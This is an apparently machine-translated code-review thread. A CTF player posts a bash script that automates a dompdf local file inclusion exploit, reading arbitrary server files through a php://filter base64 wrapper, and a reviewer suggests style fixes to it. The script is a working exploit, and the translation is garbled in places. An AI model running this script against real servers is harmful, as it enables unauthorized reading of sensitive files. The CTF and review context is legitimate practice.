Dompdf ЗФУ (местное включение файла)


Интро

Во время КЦГ я столкнулся с dompdf илл уязвимости, описанной в exploitdb.

Однако, когда я выполнил эту уязвимость он дал мне его в формате PDF, и это была боль, чтобы постоянно (читай, полосы, и base64 декодировать) для чтения содержимого файлов. Поэтому я сделал небольшой скрипт, чтобы сделать эти вещи автоматически.

Я доволен результатом, но я думал, что там может быть способ, чтобы решить эти двойные sed в одно регулярное выражение захвата. Это работает, потому что [( ... )] уникальный в результирующую строку.

Код

#!/bin/bash
if [ -z "$1" ] || [ -z "$2" ]; then
    echo "Usage ./read_dompdf [url_to_dompdf] [path/to/file]"; exit
fi
URL="$1/dompdf.php?input_file=php://filter/convert.base64-encode/resource=$2"
echo `curl --silent $URL` | sed 's/.*\[(//' | sed 's/)\].*//' | base64 -d


151
2
задан 4 апреля 2018 в 08:04 Источник Поделиться
Комментарии
1 ответ

Проверка ввода

Я нахожу это необычным способом, чтобы проверить параметры скрипта:


if [ -z "$1" ] || [ -z "$2" ]; then

Это больше распространено, чтобы убедиться, что существует ровно два параметра:

if [ $# != 2 ]; then

Отметим, что это не точно так же, как и оригинал.
Оригинальное проверяет, что ни $1 и $2 пуст,
и он молча допускает более 2-х параметров.

Почему echo суб-оболочки?

Какова цель этого echo:


echo `curl --silent $URL`

А не просто:

curl --silent $URL

Если целью является объединить несколько линий в одну, я бы использовал tr вместо:

curl --silent "$URL" | tr -d '\n'
# or
curl --silent "$URL" | tr '\n' ' '

Пишу это способ сделать намерение более ясным.
Еще одним преимуществом является простой обработки.
Обратите внимание, что я добавил двойные кавычки $URL используется в качестве параметра, как правило для того чтобы защитить от неожиданных разбиение и подстановка.

Один sed чтобы управлять ими всеми

Вместо этого:


sed 's/.*\[(//' | sed 's/)\].*//'

Вы можете сделать несколько выражений с одной sed через несколько -e параметры:

sed -e 's/.*\[(//' -e 's/)\].*//'

Я использую -e даже с одиночными выражениями,
для максимальной ясности.

3
ответ дан 6 апреля 2018 в 09:04 Источник Поделиться